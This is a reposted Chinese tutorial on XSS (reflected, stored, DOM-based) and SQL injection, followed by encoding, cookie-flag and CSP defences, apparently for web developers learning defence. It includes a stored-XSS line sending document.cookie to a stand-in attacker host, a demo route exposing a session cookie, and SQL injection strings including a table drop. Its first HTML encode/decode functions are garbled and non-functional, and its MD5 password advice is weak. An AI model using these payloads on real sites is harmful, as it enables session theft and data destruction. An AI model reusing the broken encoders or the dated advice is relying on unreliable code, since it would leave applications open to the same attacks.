web安全之XSS攻擊原理及防范【轉(zhuǎn)載】

原文地址:https://www.cnblogs.com/tugenhua0707/p/10909284.html

一:什么是XSS攻擊?

XSS 即(Cross Site Scripting)中文名稱(chēng)為:跨站腳本攻擊。XSS的重點(diǎn)不在于跨站點(diǎn),而在于腳本的執(zhí)行。那么XSS的原理是:

惡意攻擊者在web頁(yè)面中會(huì)插入一些惡意的script代碼。當(dāng)用戶(hù)瀏覽該頁(yè)面的時(shí)候,那么嵌入到web頁(yè)面中script代碼會(huì)執(zhí)行,因此會(huì)達(dá)到惡意攻擊用戶(hù)的目的。那么XSS攻擊最主要有如下分類(lèi):反射型、存儲(chǔ)型、及 DOM-based型。 反射性和DOM-baseed型可以歸類(lèi)為非持久性XSS攻擊。存儲(chǔ)型可以歸類(lèi)為持久性XSS攻擊。

回到頂部

二:反射型XSS

反射性XSS的原理是:反射性xss一般指攻擊者通過(guò)特定的方式來(lái)誘惑受害者去訪問(wèn)一個(gè)包含惡意代碼的URL。當(dāng)受害者點(diǎn)擊惡意鏈接url的時(shí)候,惡意代碼會(huì)直接在受害者的主機(jī)上的瀏覽器執(zhí)行。

反射性XSS又可以叫做非持久性XSS。為什么叫反射型XSS呢?那是因?yàn)檫@種攻擊方式的注入代碼是從目標(biāo)服務(wù)器通過(guò)錯(cuò)誤信息,搜索結(jié)果等方式反射回來(lái)的,而為什么又叫非持久性XSS呢?那是因?yàn)檫@種攻擊方式只有一次性。

比如:攻擊者通過(guò)電子郵件等方式將包含注入腳本的惡意鏈接發(fā)送給受害者,當(dāng)受害者點(diǎn)擊該鏈接的時(shí)候,注入腳本被傳輸?shù)侥繕?biāo)服務(wù)器上,然后服務(wù)器將注入腳本 "反射"到受害者的瀏覽器上,從而瀏覽器就執(zhí)行了該腳本。

因此反射型XSS的攻擊步驟如下:

1. 攻擊者在url后面的參數(shù)中加入惡意攻擊代碼。

2. 當(dāng)用戶(hù)打開(kāi)帶有惡意代碼的URL的時(shí)候,網(wǎng)站服務(wù)端將惡意代碼從URL中取出,拼接在html中并且返回給瀏覽器端。

3. 用戶(hù)瀏覽器接收到響應(yīng)后執(zhí)行解析,其中的惡意代碼也會(huì)被執(zhí)行到。

4. 攻擊者通過(guò)惡意代碼來(lái)竊取到用戶(hù)數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站。攻擊者會(huì)獲取到比如cookie等信息,然后使用該信息來(lái)冒充合法用戶(hù)

的行為,調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊等操作。

常見(jiàn)的反射性XSS有哪些?

常見(jiàn)的是:惡意鏈接。

比如我現(xiàn)在做一個(gè)demo。在本地啟動(dòng)一個(gè)簡(jiǎn)單的服務(wù)器,然后在頁(yè)面上點(diǎn)擊一個(gè)鏈接后,比如如下代碼:html代碼如下:

<!DOCTYPE html><html><head><meta charset=utf-8><meta name="referrer" content="never"><title>csrf攻擊</title></head><body><div><a href="http://localhost:3001/xss">xxs 攻擊</a><a href="http://localhost:3001/testcookie">testcookie 攻擊</a></div></body></html>

然后node中app.js 代碼如下:

const Koa = require('koa');

const fs = require('fs');

const path = require('path');

const router = require('koa-router')();

const koaBody = require('koa-body');

const static = require('koa-static');

const app =new Koa();

router.get('/', (ctx, next) => {

? // 設(shè)置頭類(lèi)型, 如果不設(shè)置,會(huì)直接下載該頁(yè)面ctx.type = 'html';

? // 讀取文件const pathUrl = path.join(__dirname, '/static/index.html');

? ctx.body = fs.createReadStream(pathUrl);

? next();

});

router.get('/xss', (ctx, next) => {

? ctx.body = 'alert("反射型 XSS 攻擊")';

});

router.get('/testcookie', (ctx, next) => {

? console.log(ctx.cookies.get('connect.sid'));

? ctx.body = 'alert("'+ctx.cookies.get('connect.sid')+'")';

? next();

});

app.use(static(path.join(__dirname)));

app.use(router.routes());

app.use(router.allowedMethods());

app.listen(3001, () => {

? console.log('server is listen in 3001');

});

如上代碼,當(dāng)用戶(hù)點(diǎn)擊xxs 攻擊惡意鏈接時(shí)候,頁(yè)面會(huì)跳轉(zhuǎn)到 http://localhost:3001/xss 攻擊者預(yù)先準(zhǔn)備的頁(yè)面,然后會(huì)返回攻擊者準(zhǔn)備的js腳本,該js腳本就在瀏覽器中執(zhí)行了,如下所示:

當(dāng)用戶(hù)點(diǎn)擊 testcookie 攻擊 這個(gè)鏈接的時(shí)候,首先要保證頁(yè)面上有cookie,比如我請(qǐng)求如下的cookie:

然后我們點(diǎn)擊 testcookie 該鏈接,也會(huì)調(diào)用node中的 router.get('/testcookie', (ctx, next) => {}) 這個(gè)請(qǐng)求獲取到cookie,如下所示:

如上我們就可以很容易通過(guò)xss攻擊拿到對(duì)方的cookie信息了。

github源碼查看

回到頂部

三:存儲(chǔ)型XSS

存儲(chǔ)型XSS的原理是:主要是將惡意代碼上傳或存儲(chǔ)到服務(wù)器中,下次只要受害者瀏覽包含此惡意代碼的頁(yè)面就會(huì)執(zhí)行惡意代碼。

比如我現(xiàn)在做了一個(gè)博客網(wǎng)站,然后攻擊者在上面發(fā)布了一篇文章,內(nèi)容是如下:<script>window.open("www.gongji.com?param="+document.cookie)</script> 如果我沒(méi)有對(duì)該文章進(jìn)行任何處理的話(huà),直接存入到數(shù)據(jù)庫(kù)中,那么下一次當(dāng)其他用戶(hù)訪問(wèn)該文章的時(shí)候,服務(wù)器會(huì)從數(shù)據(jù)庫(kù)中讀取后然后響應(yīng)給客戶(hù)端,那么瀏覽器就會(huì)執(zhí)行這段腳本,然后攻擊者就會(huì)獲取到用戶(hù)的cookie,然后會(huì)把cookie發(fā)送到攻擊者的服務(wù)器上了。

因此存儲(chǔ)型XSS的攻擊步驟如下:

1. 攻擊者將惡意代碼提交到目標(biāo)網(wǎng)站數(shù)據(jù)庫(kù)中。

2. 用戶(hù)打開(kāi)目標(biāo)網(wǎng)站時(shí),網(wǎng)站服務(wù)器將惡意代碼從數(shù)據(jù)庫(kù)中取出,然后拼接到html中返回給瀏覽器中。

3. 用戶(hù)瀏覽器接收到響應(yīng)后解析執(zhí)行,那么其中的惡意代碼也會(huì)被執(zhí)行。

4. 那么惡意代碼執(zhí)行后,就能獲取到用戶(hù)數(shù)據(jù),比如上面的cookie等信息,那么把該cookie發(fā)送到攻擊者網(wǎng)站中,那么攻擊者拿到該

cookie然后會(huì)冒充該用戶(hù)的行為,調(diào)用目標(biāo)網(wǎng)站接口等違法操作。

如何防范?

1. 后端需要對(duì)提交的數(shù)據(jù)進(jìn)行過(guò)濾。

2. 前端也可以做一下處理方式,比如對(duì)script標(biāo)簽,將特殊字符替換成HTML編碼這些等。

回到頂部

四:DOM-based型XSS

我們客戶(hù)端的js可以對(duì)頁(yè)面dom節(jié)點(diǎn)進(jìn)行動(dòng)態(tài)的操作,比如插入、修改頁(yè)面的內(nèi)容。比如說(shuō)客戶(hù)端從URL中提取數(shù)據(jù)并且在本地執(zhí)行、如果用戶(hù)在客戶(hù)端輸入的數(shù)據(jù)包含了惡意的js腳本的話(huà),但是這些腳本又沒(méi)有做任何過(guò)濾處理的話(huà),那么我們的應(yīng)用程序就有可能受到DOM-based XSS的攻擊。因此DOM型XSS的攻擊步驟如下:

1. 攻擊者構(gòu)造出特殊的URL、在其中可能包含惡意代碼。

2. 用戶(hù)打開(kāi)帶有惡意代碼的URL。

3. 用戶(hù)瀏覽器收到響應(yīng)后解析執(zhí)行。前端使用js取出url中的惡意代碼并執(zhí)行。

4. 執(zhí)行時(shí),惡意代碼竊取用戶(hù)數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站中,那么攻擊者網(wǎng)站拿到這些數(shù)據(jù)去冒充用戶(hù)的行為操作。調(diào)用目標(biāo)網(wǎng)站接口

執(zhí)行攻擊者一些操作。

DOM XSS 是基于文檔對(duì)象模型的XSS。一般有如下DOM操作:

1. 使用document.write直接輸出數(shù)據(jù)。

2. 使用innerHTML直接輸出數(shù)據(jù)。

3. 使用location、location.href、location.replace、iframe.src、document.referer、window.name等這些。

比如如下demo:

? document.body.innerHTML = ""+url+"";

假如對(duì)于變量url的值是:javascript:alert('dom-xss'); 類(lèi)似這樣的,那么就會(huì)收到xss的攻擊了。因此對(duì)于DOM XSS主要是由于本地客戶(hù)端獲取的DOM數(shù)據(jù)在本地執(zhí)行導(dǎo)致的。因此我們需要對(duì)HTML進(jìn)行編碼,對(duì)JS進(jìn)行編碼來(lái)防止這些問(wèn)題產(chǎn)生。具體如何編碼可以請(qǐng)看我下面的 XSS 如何防范那個(gè)地方即可。

我們接下來(lái)看看demo代碼吧:

1. 使用document.write直接輸出導(dǎo)致瀏覽器解析惡意代碼

代碼如下:

<!DOCTYPE html><html><head><meta charset=utf-8><meta name="referrer" content="never"><title></title></head><body><script type="text/javascript">var s = location.search;? ? ? ? ? ? // 返回URL中的查詢(xún)部分(?之后的內(nèi)容)// 為了方便演示,我們假如url是 如下這樣的// http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); // 然后我們的是 s 的值就為如下:? ? s ="?url=javascript:alert('xsstest')";

? ? s = s.substring(1, s.length);? ? ? // 返回整個(gè)查詢(xún)內(nèi)容var url ="";? ? ? ? ? ? ? ? ? ? ? // 定義變量urlif (s.indexOf("url=") >-1) {? ? ? // 判斷URL是否為空 var pos = s.indexOf("url=") +4;? // 過(guò)濾掉"url="字符? ? ? url = s.substring(pos, s.length);? // 得到地址欄里的url參數(shù)? ? } else {

? ? ? url ="url參數(shù)為空";

? ? }

? ? document.write('url: <a href="'+ url +'">"'+ url +'"</a>');

? </script></body></html>

頁(yè)面渲染完成后,點(diǎn)擊彈窗如下所示:

2. 使用innerHTML直接輸出導(dǎo)致瀏覽器解析惡意代碼

代碼如下:

<!DOCTYPE html><html><head><meta charset=utf-8><meta name="referrer" content="never"><title></title></head><body><script type="text/javascript">var s = location.search;? ? ? ? ? ? // 返回URL中的查詢(xún)部分(?之后的內(nèi)容)// 為了方便演示,我們假如url是 如下這樣的// http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); // 然后我們的是 s 的值就為如下:? ? s ="?url=javascript:alert('xsstest')";

? ? s = s.substring(1, s.length);? ? ? // 返回整個(gè)查詢(xún)內(nèi)容var url ="";? ? ? ? ? ? ? ? ? ? ? // 定義變量urlif (s.indexOf("url=") >-1) {? ? ? // 判斷URL是否為空 var pos = s.indexOf("url=") +4;? // 過(guò)濾掉"url="字符? ? ? url = s.substring(pos, s.length);? // 得到地址欄里的url參數(shù)? ? } else {

? ? ? url ="url參數(shù)為空";

? ? }

? </script><div id='test'><a href=""></a></div><script type="text/javascript">? ? ? document.getElementById("test").innerHTML ='我的url是: <a href="'+ url +'">"'+ url +'"</a>';

? </script></body></html>

點(diǎn)擊一樣也會(huì)彈窗窗口的。也會(huì)一樣執(zhí)行xss攻擊的。

3. 使用location/location.href/location.replace/iframe.src 造成的XSS

如下代碼:

<!DOCTYPE html><html><head><meta charset=utf-8><meta name="referrer" content="never"><title></title></head><body><script type="text/javascript">var s = location.search;? ? ? ? ? ? // 返回URL中的查詢(xún)部分(?之后的內(nèi)容)// 為了方便演示,我們假如url是 如下這樣的// http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); // 然后我們的是 s 的值就為如下:? ? s ="?url=javascript:alert('xsstest')";

? ? s = s.substring(1, s.length);? ? ? // 返回整個(gè)查詢(xún)內(nèi)容var url ="";? ? ? ? ? ? ? ? ? ? ? // 定義變量urlif (s.indexOf("url=") >-1) {? ? ? // 判斷URL是否為空 var pos = s.indexOf("url=") +4;? // 過(guò)濾掉"url="字符? ? ? url = s.substring(pos, s.length);? // 得到地址欄里的url參數(shù)? ? } else {

? ? ? url ="url參數(shù)為空";

? ? }

? </script><div id='test'><a href=""></a></div><script type="text/javascript">? ? location.href = url;

? </script></body></html>

刷新下頁(yè)面,也會(huì)彈出窗口執(zhí)行 xss攻擊了。

回到頂部

五:SQL注入

SQL注入是通過(guò)客戶(hù)端的輸入把SQL命令注入到一個(gè)應(yīng)用的數(shù)據(jù)庫(kù)中,從而執(zhí)行惡意的SQL語(yǔ)句。

什么意思呢?我們來(lái)打個(gè)比方:我們有一個(gè)登錄框,需要輸入用戶(hù)名和密碼對(duì)吧,然后我們的密碼輸入 'or '123' = '123 這樣的。

我們?cè)诓樵?xún)用戶(hù)名和密碼是否正確的時(shí)候,本來(lái)執(zhí)行的sql語(yǔ)句是:select * from user where username = '' and password = ''. 這樣的sql語(yǔ)句,現(xiàn)在我們輸入密碼是如上這樣的,然后我們會(huì)通過(guò)參數(shù)進(jìn)行拼接,拼接后的sql語(yǔ)句就是:

select * from user where username = '' and password = ' ' or '123' = '123 ';?這樣的了,那么會(huì)有一個(gè)or語(yǔ)句,只要這兩個(gè)有一個(gè)是正確的話(huà),就條件成立,因此 123 = 123 是成立的。因此驗(yàn)證就會(huì)被跳過(guò)。這只是一個(gè)簡(jiǎn)單的列子,比如還有密碼比如是這樣的:'; drop table user;, 這樣的話(huà),那么sql命令就變成了:

select * from user where username = '' and password = ''; drop table user;'?, 那么這個(gè)時(shí)候我們會(huì)把user表直接刪除了。

sql被攻擊的原因是:sql語(yǔ)句偽造參數(shù),然后對(duì)參數(shù)進(jìn)行拼接后形成xss攻擊的sql語(yǔ)句。最后會(huì)導(dǎo)致數(shù)據(jù)庫(kù)被攻擊了。

防范的方法:

1. 我們可以使用預(yù)編譯語(yǔ)句(PreparedStatement,這樣的話(huà)即使我們使用sql語(yǔ)句偽造成參數(shù),到了服務(wù)端的時(shí)候,這個(gè)偽造sql語(yǔ)句的參數(shù)也只是簡(jiǎn)單的字符,并不能起到攻擊的作用。

2. 數(shù)據(jù)庫(kù)中密碼不應(yīng)明文存儲(chǔ)的,可以對(duì)密碼使用md5進(jìn)行加密,為了加大破解成本,所以可以采用加鹽的方式。

回到頂部

cookie安全策略

在服務(wù)器端設(shè)置cookie的時(shí)候設(shè)置 http-only, 這樣就可以防止用戶(hù)通過(guò)JS獲取cookie。對(duì)cookie的讀寫(xiě)或發(fā)送一般有如下字段進(jìn)行設(shè)置:

http-only:?只允許http或https請(qǐng)求讀取cookie、JS代碼是無(wú)法讀取cookie的(document.cookie會(huì)顯示http-only的cookie項(xiàng)被自動(dòng)過(guò)濾掉)。發(fā)送請(qǐng)求時(shí)自動(dòng)發(fā)送cookie.

secure-only:?只允許https請(qǐng)求讀取,發(fā)送請(qǐng)求時(shí)自動(dòng)發(fā)送cookie。

host-only:?只允許主機(jī)域名與domain設(shè)置完成一致的網(wǎng)站才能訪問(wèn)該cookie。

回到頂部

X-XSS-Protection設(shè)置

目前該屬性被所有的主流瀏覽器默認(rèn)開(kāi)啟XSS保護(hù)。該參數(shù)是設(shè)置在響應(yīng)頭中目的是用來(lái)防范XSS攻擊的。它有如下幾種配置:

值有如下幾種:默認(rèn)為1.

0:禁用XSS保護(hù)。

1:?jiǎn)⒂肵SS保護(hù)。

1;mode=block; 啟用xss保護(hù),并且在檢查到XSS攻擊是,停止渲染頁(yè)面。

回到頂部

XSS防御HTML編碼

我們?yōu)槭裁匆烙鵋TML編碼呢?比如如下html代碼:

content</div>,在div標(biāo)簽中存在一個(gè)輸出變量content

,在div標(biāo)簽中存在一個(gè)輸出變量{content}.?那么瀏覽器在解析的過(guò)程中,首先是html解析,當(dāng)解析到div標(biāo)簽時(shí),再解析?content的內(nèi)容,然后會(huì)將頁(yè)面顯示出來(lái)。那假如該content的內(nèi)容,然后會(huì)將頁(yè)面顯示出來(lái)。那假如該{content} 的值是 alert('XSS攻擊') 這樣的呢?因此該script腳本就會(huì)解析并且執(zhí)行了,從而達(dá)到XSS的攻擊目標(biāo)。

因此我們需要將不可信數(shù)據(jù)放入到html標(biāo)簽內(nèi)(比如div、span等)的時(shí)候需要進(jìn)行html編碼。

編碼規(guī)則:將 & < > " ' / 轉(zhuǎn)義為實(shí)體字符。如下基本轉(zhuǎn)義代碼:

// 使用正則表達(dá)式實(shí)現(xiàn)html編碼function htmlEncodeByRegExp(str) {

? ? ? vars = '';

? ? ? if(str.length === 0) {

? ? ? ? return s;

? ? ? }

? ? ? return(s + str)

? ? ? ? .replace(/&/g, "&")

? ? ? ? .replace(/

? ? ? ? .replace(/>/g, ">")

? ? ? ? .replace(/ /g, " ")? ? ? ? .replace(/\'/g, "'")

? ? ? ? .replace(/\"/g, """)

? ? ? ? .replace(/\//g, '/');

? ? }

? ? // 使用正則表達(dá)式實(shí)現(xiàn)html解碼function htmlDecodeByRegExp(str) {

? ? ? vars = '';

? ? ? if(str.length === 0) {

? ? ? ? return s;

? ? ? }

? ? ? return(s + str)

? ? ? ? .replace(/&/g, "&")

? ? ? ? .replace(/</g, "<")

? ? ? ? .replace(/>/g, ">")

? ? ? ? .replace(/ /g, " ")

? ? ? ? .replace(/'/g, "\'")

? ? ? ? .replace(/"/g, "\"")

? ? ? ? .replace(///g, "\/");

? ? }

實(shí)現(xiàn)demo如下:

<!DOCTYPE html><html><head><meta charset=utf-8><meta name="referrer" content="never"><title></title></head><body><script type="text/javascript">// 使用正則表達(dá)式實(shí)現(xiàn)html編碼function htmlEncodeByRegExp(str) {

? ? ? ? ? var s ='';

? ? ? ? ? if (str.length ===0) {

? ? ? ? ? ? return s;

? ? ? ? ? }

? ? ? ? ? return (s + str)

? ? ? ? ? ? .replace(/&/g, "&amp;")

? ? ? ? ? ? .replace(/</g, "&lt;")

? ? ? ? ? ? .replace(/>/g, "&gt;")

? ? ? ? ? ? .replace(//g, "&nbsp;")? ? ? ? ? ? .replace(/\'/g, "&#39")

? ? ? ? ? ? .replace(/\"/g, "&quot;")

? ? ? ? ? ? .replace(/\//g, '&#x2F;');

? ? ? ? }

? ? ? ? // 使用正則表達(dá)式實(shí)現(xiàn)html解碼function htmlDecodeByRegExp(str) {

? ? ? ? ? var s ='';

? ? ? ? ? if (str.length ===0) {

? ? ? ? ? ? return s;

? ? ? ? ? }

? ? ? ? ? return (s + str)

? ? ? ? ? ? .replace(/&amp;/g, "&")

? ? ? ? ? ? .replace(/&lt;/g, "<")

? ? ? ? ? ? .replace(/&gt;/g, ">")

? ? ? ? ? ? .replace(/&nbsp;/g, "")

? ? ? ? ? ? .replace(/&#39/g, "\'")

? ? ? ? ? ? .replace(/&quot;/g, "\"")

? ? ? ? ? ? .replace(/&#x2F;/g, "\/");

? ? ? ? }

? ? ? ? // 測(cè)試代碼:var html ='<br>aaaaaa<p>xxxxxx</p>';

? ? ? ? var encodeHtml = htmlEncodeByRegExp(html);

? ? ? ? // 輸出:使用正則表達(dá)式對(duì)html編碼:&lt;br&gt;aaaaaa&lt;p&gt;xxxxxx&lt;&#x2F;p&gt;? ? ? ? console.log("使用正則表達(dá)式對(duì)html編碼:"+ encodeHtml);

? ? ? ? var decodeHtml = htmlDecodeByRegExp(encodeHtml);

? ? ? ? // 輸出:使用正則表達(dá)式對(duì)html解碼:<br>aaaaaa<p>xxxxxx</p>? ? ? ? console.log("使用正則表達(dá)式對(duì)html解碼:"+ decodeHtml);

? ? ? </script></body></html>

回到頂部

XSS 防御HTML Attribute編碼

和HTML編碼一樣,html中的屬性也要進(jìn)行編碼,比如 這樣的,name是input的屬性,因此在html解析時(shí),會(huì)對(duì)name屬性進(jìn)行編碼,因?yàn)榧偃鏽ame">這樣的,name是input的屬性,因此在html解析時(shí),會(huì)對(duì)name屬性進(jìn)行編碼,因?yàn)榧偃鐊name} 的值為:" " onclick="alert('屬性XSS')" " " 這樣的,也就是說(shuō)input變成這樣的了,,input屬性name被插入onclick事件了,因此也需要針對(duì)這種常規(guī)的html屬性,都需要對(duì)其進(jìn)行HTML屬性編碼。

因此我們需要將不可信數(shù)據(jù)放入html屬性時(shí)(不含src、href、style 和 事件處理函數(shù)(onclick, onmouseover等))。需要進(jìn)行HTML Attribute 編碼。

編碼規(guī)則:除了字母、數(shù)字、字符以外,使用 &#x;16進(jìn)制格式來(lái)轉(zhuǎn)義ASCII值小于256所有的字符。

因此編碼代碼如下:

function encodeForHTMLAttibute(str) {

? ? ? let encoded = '';

? ? ? for(let i = 0; i < str.length; i++) {

? ? ? ? let ch = hex = str[i];

? ? ? ? if(!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {

? ? ? ? ? hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';

? ? ? ? }

? ? ? ? encoded += hex;

? ? ? }

? ? ? return encoded;

? };

回到頂部

XSS防御之javascript編碼

在上面的 XSS 防御HTML Attribute編碼中我們是可以防御XSS攻擊,但是它只能防御的是HTML通用屬性,并不是全部屬性,在html中還存在很多支持協(xié)議解析的html屬性,比如 onclick, onerror, href, src 等這些,類(lèi)似這些屬性我們是無(wú)法通過(guò)HTML編碼來(lái)防范XSS攻擊的。因?yàn)闉g覽器會(huì)先解析html編碼的字符,將其轉(zhuǎn)換為該屬性的值,但是該屬性本身支持JS代碼執(zhí)行,因此游覽器在HTML解碼后,對(duì)該屬性的值進(jìn)行JS解析,因此會(huì)執(zhí)行響應(yīng)的代碼。

比如如下代碼:href xss 是可以點(diǎn)擊的。 如果我們對(duì)該進(jìn)行html屬性編碼一下,還是可以點(diǎn)擊的,

如代碼:href xss HTML屬性編碼無(wú)效 頁(yè)面還是可以點(diǎn)擊的。如下圖所示:

如下對(duì)href屬性編碼:

varstr = "javascript:alert('href xss')";// 使用正則表達(dá)式實(shí)現(xiàn)html編碼function encodeForHTMLAttibute(str) {

? let encoded = '';

? for(let i = 0; i < str.length; i++) {

? ? let ch = hex = str[i];

? ? if(!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {

? ? ? hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';

? ? }

? ? encoded += hex;

? }

? return encoded;

};

console.log(encodeForHTMLAttibute(str)); // javascript&#x3a;alert&#x28;&#x27;href&#x20;xss&#x27;&#x29;

那么現(xiàn)在假如我們對(duì)alert('href xss')進(jìn)行JavaScript編碼,結(jié)果又會(huì)如何?(JavaScript編碼將字符編碼成\x+16進(jìn)制的形式,對(duì)款字節(jié)編碼成Unicode)

注意:XSS防御之javascript編碼代碼如下:

function encodeForJavascript(str) {

? let encoded = '';

? for(let i = 0; i < str.length; i++) {

? ? let cc = hex = str[i];

? ? if(!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {

? ? ? hex = '\\x' + cc.charCodeAt().toString(16);

? ? }

? ? encoded += hex;

? }

? return encoded;

};

如下demo演示:

<!DOCTYPE html><html><head><meta charset=utf-8><meta name="referrer" content="never"><title></title></head><body><div><a href="javascript:alert\x28\x27href\x20xss\x27\x29" target="_blank">Href XSS JavaScript編碼</a></div><script type="text/javascript">var str ="alert('href xss')";

? ? function encodeForJavascript(str) {

? ? ? let encoded ='';

? ? ? for(let i =0; i < str.length; i++) {

? ? ? ? let cc = hex = str[i];

? ? ? ? if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) <256) {

? ? ? ? ? hex ='\\x'+ cc.charCodeAt().toString(16);

? ? ? ? }

? ? ? ? encoded += hex;

? ? ? }

? ? ? return encoded;

? ? };

? ? console.log(encodeForJavascript(str)); // alert\x28\x27href\x20xss\x27\x29</script></body></html>

現(xiàn)在我們?cè)賮?lái)點(diǎn)擊上面的a鏈接是不會(huì)有任何效果的。因此 XSS執(zhí)行失敗; 當(dāng)然對(duì)onclick 事件等其他的也是一樣的要進(jìn)行編碼。我們也可以繼續(xù)看下:onclick屬性XSS

onclick屬性XSS

比如現(xiàn)在我們來(lái)看一下on事件屬性:

xxs測(cè)試

(此處的value往往一般都是后臺(tái)模板替換的變量)

xxs測(cè)試

當(dāng)$value的值 hello world'),alert('onclick xss 時(shí),就會(huì)觸發(fā)XSS攻擊;代碼就會(huì)變成如下:

<div id="test" onclick="testFunc('hello world'),alert('onclick xss')">xxs測(cè)試</div>

因此demo如下:

<!DOCTYPE html><html><head><meta charset=utf-8><meta name="referrer" content="never"><title></title></head><body><div id="test" onclick="testFunc('hello world'),alert('onclick xss')">xxs測(cè)試</div><script type="text/javascript">function testFunc(xx) {


? ? }

? </script></body></html>

當(dāng)我點(diǎn)擊xss測(cè)試的時(shí)候,就會(huì)變成如下所示:

如果我們使用html編碼是不行的,對(duì)$value進(jìn)行HTML編碼, 我們可以看看如下demo所示:

<!DOCTYPE html><html><head><meta charset=utf-8><meta name="referrer" content="never"><title></title></head><body><div id="test" onclick="testFunc('hello&#x20;world&#x27;&#x29;&#x2c;alert&#x28;&#x27;onclick&#x20;xss')">xxs測(cè)試</div><script type="text/javascript">function testFunc() {}


? ? var str ="hello world'),alert('onclick xss";

? ? // 使用正則表達(dá)式實(shí)現(xiàn)html編碼function encodeForHTMLAttibute(str) {

? ? ? let encoded ='';

? ? ? for(let i =0; i < str.length; i++) {

? ? ? ? let ch = hex = str[i];

? ? ? ? if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) <256) {

? ? ? ? ? hex ='&#x'+ ch.charCodeAt(0).toString(16) +';';

? ? ? ? }

? ? ? ? encoded += hex;

? ? ? }

? ? ? return encoded;

? ? };

? ? console.log(encodeForHTMLAttibute(str));

? ? // hello&#x20;world&#x27;&#x29;&#x2c;alert&#x28;&#x27;onclick&#x20;xss</script></body></html>

如上代碼,我們繼續(xù)點(diǎn)擊xxx測(cè)試的時(shí)候,還是可以彈窗的。

現(xiàn)在如果我們繼續(xù)將$value進(jìn)行JavaScript編碼:顯示正常,不存在XSS。 如下代碼所示:

<!DOCTYPE html><html><head><meta charset=utf-8><meta name="referrer" content="never"><title></title></head><body><div id="test" onclick="testFunc('hello\x20world\x27\x29\x2calert\x28\x27onclick\x20xss')">xxs測(cè)試</div><script type="text/javascript">function testFunc() {}


? ? var str ="hello world'),alert('onclick xss";

? ? // 使用正則表達(dá)式實(shí)現(xiàn)html編碼function encodeForJavascript(str) {

? ? ? let encoded ='';

? ? ? for(let i =0; i < str.length; i++) {

? ? ? ? let cc = hex = str[i];

? ? ? ? if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) <256) {

? ? ? ? ? hex ='\\x'+ cc.charCodeAt().toString(16);

? ? ? ? }

? ? ? ? encoded += hex;

? ? ? }

? ? ? return encoded;

? ? };

? ? console.log(encodeForJavascript(str));

? ? // hello\x20world\x27\x29\x2calert\x28\x27onclick\x20xss</script></body></html>

我們繼續(xù)點(diǎn)擊就沒(méi)有任何反應(yīng)了,大家自己可以試試下。因此就不會(huì)存在xss攻擊了。

回到頂部

XSS 防御之 URL 編碼

作用范圍:將不可信數(shù)據(jù)作為 URL 參數(shù)值時(shí)需要對(duì)參數(shù)進(jìn)行 URL 編碼

編碼規(guī)則:將參數(shù)值進(jìn)行 encodeURIComponent 編碼

編碼代碼如下:

function encodeForURL(str){

? return encodeURIComponent(str);

};

回到頂部

XSS 防御之 CSS 編碼

作用范圍:將不可信數(shù)據(jù)作為 CSS 時(shí)進(jìn)行 CSS 編碼

比如:通過(guò)css構(gòu)造(background-img:url\expression\link-href@import)

<div style="background-image: url(javascript:alert('xss'));"></div><style>body{background-image: url("javascript:alert('xss')");}</style>

編碼規(guī)則:除了字母數(shù)字字符以外,使用\XXXXXX格式來(lái)轉(zhuǎn)義ASCII值小于256的所有字符。 編碼代碼如下:

function encodeForCSS (attr, str){

? let encoded = '';

? for(let i = 0; i < str.length; i++) {

? ? let ch = str.charAt(i);

? ? if(!ch.match(/[a-zA-Z0-9]/) {

? ? ? let hex = str.charCodeAt(i).toString(16);

? ? ? let pad = '000000'.substr((hex.length));

? ? ? encoded += '\\' + pad + hex;

? ? } else {

? ? ? encoded += ch;

? ? }

? }

? return encoded;

};

回到頂部

開(kāi)啟CSP網(wǎng)頁(yè)安全政策防止XSS攻擊

Content-Security-Policy 中文的意思是 網(wǎng)頁(yè)安全政策,

CSP是網(wǎng)頁(yè)安全政策(Content Security Policy)的縮寫(xiě)。主要用來(lái)防止XSS攻擊。是一種由開(kāi)發(fā)者定義的安全性政策申明,通過(guò)CSP所約束的責(zé)任指定可信的內(nèi)容來(lái)源,通過(guò) Content-Security-Policy 網(wǎng)頁(yè)的開(kāi)發(fā)者可以控制整個(gè)頁(yè)面中 外部資源 的加載和執(zhí)行。

比如可以控制哪些 域名下的靜態(tài)資源可以被頁(yè)面加載,哪些不能被加載。這樣就可以很大程度的防范了 來(lái)自 跨站(域名不同) 的腳本攻擊。

如何使用呢?

我們只需要在meta屬性中設(shè)置下即可:如下代碼:

<meta http-equiv="Content-Security-Policy" content="">

比如如下的列子:

<meta http-equiv="Content-Security-Policy" content="

default-src http: https:? *.xxx.com 'self' 'unsafe-inline' ;

style-src 'self' 'unsafe-inline' *.yyy.com;

script-src 'self' 'unsafe-inline' 'unsafe-eval' ;

">

默認(rèn)設(shè)置(default-src):信任 http ,https協(xié)議資源,信任當(dāng)前域名資源,信任符合*.xxx.com的域名資源CSS設(shè)置(style-src):信任當(dāng)前域名資源,允許內(nèi)嵌的CSS資源,信任來(lái)自*.yyy.com下的CSS資源。

JS設(shè)置(script-src):信任當(dāng)前域名資源,允許內(nèi)嵌的JS執(zhí)行,允許將字符串當(dāng)作代碼執(zhí)行

有如下類(lèi)別

default-src 給下面所有的規(guī)則設(shè)定一個(gè)默認(rèn)值

script-src 外部腳本

style-src 樣式表

img-src 圖像

media-src 媒體文件(音頻和視頻)

font-src 字體文件

object-src 插件(比如 Flash)

child-src 框架

frame-ancestors 嵌入的外部資源(比如、、和)

connect-src HTTP 連接(通過(guò) XHR、WebSockets、EventSource等)

worker-src worker腳本

manifest-src manifest 文件

script-src有如下屬性值:

unsafe-inline 允許執(zhí)行頁(yè)面內(nèi)嵌的標(biāo)簽和事件監(jiān)聽(tīng)函數(shù)

unsafe-eval 允許將字符串當(dāng)作代碼執(zhí)行,比如使用eval、setTimeout、setInterval和Function等函數(shù)

